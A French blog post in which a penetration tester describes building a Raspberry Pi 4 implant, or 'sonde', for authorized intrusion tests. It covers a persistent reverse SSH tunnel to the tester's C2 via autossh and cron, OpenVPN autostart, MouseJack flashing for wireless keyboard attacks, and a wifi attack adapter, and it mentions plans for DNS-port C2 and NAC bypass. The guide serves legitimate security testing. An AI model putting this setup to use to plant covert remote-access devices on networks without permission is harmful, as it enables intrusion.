Intro

Le but de se projet est d'améliorer la v1 de mon R3.14 qui est une "sonde" simplifiant les tests d'intrusions. Elle doit pouvoir être envoyée par transporteur à mes clients et doit aussi pouvoir être utilisée dans le cadre de test d'intrusion physique. Les caractéristiques que j'ai voulu sont les suivantes :

  • Prix le plus bas possible
  • Connexion via SSH et openVPN sur le port 443 au cas où le 22 serait bloqué
  • Attaque wifi
  • Attaque sur device sans fil

Mon choix s'est porté sur le raspberry pi 4. J'ai utilisé un 8Go de ram que j'avais en stock, mais je pense que ça tournerait tout aussi bien sur la version 4Go.

Pour les attaques wifi, je suis parti sur l'AWUS036ACS. C'est la plus petite, elle supporte le 2.4GHz et le 5GHz, est équipée du standard 802.11ac et coûte moins de 30 €

Pour les attaques sur les claviers/souris sans fil, j'ai pris le Crazyradio PA que j'ai trouvé chez Génération robots pour 43.45 €. ça rajoute beaucoup au budget, mais ça va me permettre de m'amuser et ça, ça n'a pas de prix.

Je passerai sur l'installation de kali sur le raspberry pi. Vous pouvez télécharger l'iso ici :https://www.kali.org/get-kali/#kali-arm

Tunnel SSH

Afin de pouvoir me connecter en SSH à mon R3.14V2, j'ai configuré ce dernier pour qu'il crée un "reverse" tunnel avec ma machine (et mon C2). On va donc ouvrir le port 2222 sur ma machine qui sera "connecté" au port 22 du R3.14V2. On lancera le tunnel avec autossh pour éviter de perdre la connexion.

étape #1

on crée un utilisateur sur la machine attaquante. Ce dernier ne doit pas pouvoir avoir de shell.

sudo useradd -m -s /bin/false rpi

étape #2

On génère une clé sur le R3.14V2 sans mot de passe parce que la connexion se fera de manière automatique. On valide donc 2 fois sans taper de passphrase

ssh-keygen

On a maintenant une clé privé et une clé publique

On copie la clé publique (id_rsa.pub)

cat /home/<user>/.ssh/id_rsa.pub

et on colle le tout dans le fichier /home/rpi/.ssh/authorized_keys de la machine attaquante en rajoutant quelques options devant :

no-pty,no-X11-forwarding,permitopen="localhost:2222",command="/bin/echo do-not-send-commands" ssh-rsa <clé publique> rpi@<hostname>

J'ai rajouté ces options pour se prémunir d'un hackback. ça serait dommage que la blue team puisse se connecter à mes machines...
Toutes les infos sur les différentes options ici : https://www.ssh.com/academy/ssh/authorized-keys-openssh

étape #3 autossh et cron

autossh permet à R3.14V2 de se connecter automatiquement à notre machine attaquante. De plus, si jamais on perd la connexion, autossh se reconnectera automatiquement.

sudo apt install autossh

Dans un fichier on met le code suivant :

#!/bin/bash

autossh -M 12345 -N -f -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -i /home/<user>/.ssh/id_rsa -R 2222:localhost:22 fr3sh@<monip> -p <monPort>

Le -M crée ouvre un port qui va permettre à autossh de monitoré la connexion SSH.

On crée une tâche cron :

crontab -e

dans laquelle on insert le code suivant :

@reboot sleep 5 && /home/fr3sh/bin/autossh.sh > /dev/null 2>&1

*/5 * * * * /home/fr3sh/bin/autossh.sh > /dev/null 2>&1

 ça va nous permettre d'exécuter le script 5s après le démarrage et toutes les 5mn.

Une fois que tout est configuré ; il n'y a plus qu'à redémarrer le R3.14V2 pour voir si tout fonctionne bien.

On peut alors se connecter depuis la machine attaquante :

ssh fr3sh@localhost -p 2222 -o IdentitiesOnly=yes

 

OpenVPN

L'idée c'est que la machine attaquante et le R3.14V2 se connecte à un VPN. Elles seront donc sur le même réseau et on pourra se connecter via SSH. Pour installer openVPN sur un serveur, il y a un très bon tuto ici.

Sur le R3.14V2 :

On installe openVPN : apt-get install openvpn

On modifie le fichier /etc/default/openvpn en supprimant # devant  AUTOSTART="all"

Il ne reste plus qu'à copier le fichier de configuration généré sur le VPN raspi.ovpn dans le fichier /etc/openvpn/client.conf

puis sudo systemctl openvpn enable && reboot

Si tout s'est bien passé, on peut se connecter à notre R3.14V2

ssh fr3sh@<R3.14V2IP> -o IdentitiesOnly=yes

MouseJack

cd /opt && git clone https://github.com/BastilleResearch/mousejack.git

MouseJack est un projet qui date un peu. On installera donc un environnement virtuel avec python2 :

virtualenv -p /usr/bin/python2 venv
source venv/bin/activate
pip install pyusb
pip install platformio
git submodule init
git submodule update
cp -r /opt/mousejack/venv/lib/python2.7/site-packages/usb /opt/mousejack/nrf-research-firmware/prog/usb-flasher/
make
make install && reboot

Et là si tout va bien notre dongle est prêt

Driver AWUS036ACS

On Vérifie que le device est bien là  ; lsusb

On télécharge le driver et on l'installe

git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl88812au
sudo make

Allez prendre un café. C'est un peu long

sudo make install && reboot

On teste que tout fonctionne :

sudo wifite

Conclusion

Voilà ! Il n'y a plus qu'à tester tout ça et s'amuser un peu. J'ai automatisé toutes ces étapes dans un playbook ansible que je mettrai en ligne sur mon github dès que possible. Pour la V3 je vais sans doute travailler à utiliser le port 53 pour la connexion à mon C2 et peut être à bypasser un NAC comme suggéré sur linkedIn. J'aimerais aussi automatiser quelques scans via ansible pour me libérer du temps et pouvoir me consacrer aux attaques.